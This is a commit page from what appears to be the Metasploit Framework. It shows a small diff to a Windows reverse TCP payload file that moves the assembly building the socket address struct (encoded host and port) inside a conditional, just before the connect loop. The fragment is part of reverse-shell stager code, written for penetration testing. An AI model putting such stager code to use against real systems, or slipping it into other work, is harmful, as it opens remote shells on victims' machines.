Skip to content

Commit 27f9611

Browse files
committed
Moved socket struct inside conditional
1 parent 44cb65d commit 27f9611

File tree

1 file changed

+3
-4
lines changed

1 file changed

+3
-4
lines changed

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -175,14 +175,13 @@ def asm_reverse_tcp(opts={})
175175
push edi ; socket
176176
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
177177
call ebp ; bind( s, &sockaddr_in, 16 );
178+
push #{encoded_host} ; host in little-endian format
179+
push #{encoded_port} ; family AF_INET and port number
180+
mov esi, esp
178181
^
179182
end
180183

181184
asm << %Q^
182-
push #{encoded_host} ; host in little-endian format
183-
push #{encoded_port} ; family AF_INET and port number
184-
mov esi, esp
185-
186185
try_connect:
187186
push 16 ; length of the sockaddr struct
188187
push esi ; pointer to the sockaddr struct

0 commit comments

Comments
 (0)